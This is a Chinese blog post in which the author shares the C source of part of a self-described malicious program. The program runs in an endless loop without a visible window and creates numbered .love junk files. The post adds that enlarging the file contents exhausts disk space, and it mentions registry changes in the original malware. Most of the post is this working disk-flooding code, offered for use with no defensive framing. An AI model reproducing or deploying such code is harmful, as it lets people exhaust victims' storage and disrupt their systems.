C语言清空垃圾文件,建到死-----C语言(建立垃圾文件恶意程序)

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

话说今年的光棍节有点郁闷,好吧不只一点点,于是乎在今年光棍节就写了个恶意程序,建到死是该程序中垃圾文件生成的一部分,这里给写出来,其实灰长滴简

单,名字叫建到死,其实也并不一定,因为我的文件名是一个从1到n的数字的.love文件,n是一个long

long类型的变量,所以数字比较大,建立的文件其数字相当可观,呵呵.好,下面给源代码.(注,为了在建立文件时没有窗口,所以这里我们使用

windows应用程序,而不是控制台程序,本程序使用DEV-CPP编译,如果您的编译器为VC或其它主函数接口要设置成WinAPI的接口)

#include "stdio.h"

#include "stdlib.h"

int get_len(long long len)

{

int n=1;

while(len>=10)

{

len/=10;

n++;

}

return n;

}

int main(void)

{

long long file;

int len;

char *file_name;

FILE *fp;

const char love[]="光脚的不怕穿鞋的!"; /*写入文件的内容,这个按自己喜好了,呵呵*/

for(file=0;1;file++)

{

len=get_len(file); /*得到数字的位数,用于创建文件名时动态开辟存储空间*/

file_name=(char *)malloc(sizeof(char)*len+6); /*利用malloc动态为文件名开辟存储空间,6是为.love的字符串开辟存储空间*/

sprintf(file_name,"%lld.love",file); /*利用sprintf将我们的数字和.love变成一个字符串*/

if((fp=fopen(file_name,"w+"))==NULL)

continue;

/*如何打开文件失败,(原因有很多)就跳过本次创建进入下一个文件的创建,有点邪恶,嘿嘿*/

fprintf(fp,love); /*创建了文件,就在里面写点东西*/

fclose(fp); /*记得要关闭文件*/

free(file_name); /*记得要释放掉申请的存储空间*/

}

return 0; /*虽然没有必要,但为了好看吧*/

}

里的一问题就是向.love文件里写内容别人看不到,写它有什么用!呵呵,在源恶意程序中本人修改了注册表使得.love文件可以使用记事本打开,当然,

这里也并不是没有用处,比如你可以写入多一点的内容,这样就可以让你创建的文件占用磁盘空间增大,文件如果很多的话就可以消耗磁盘空间.

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值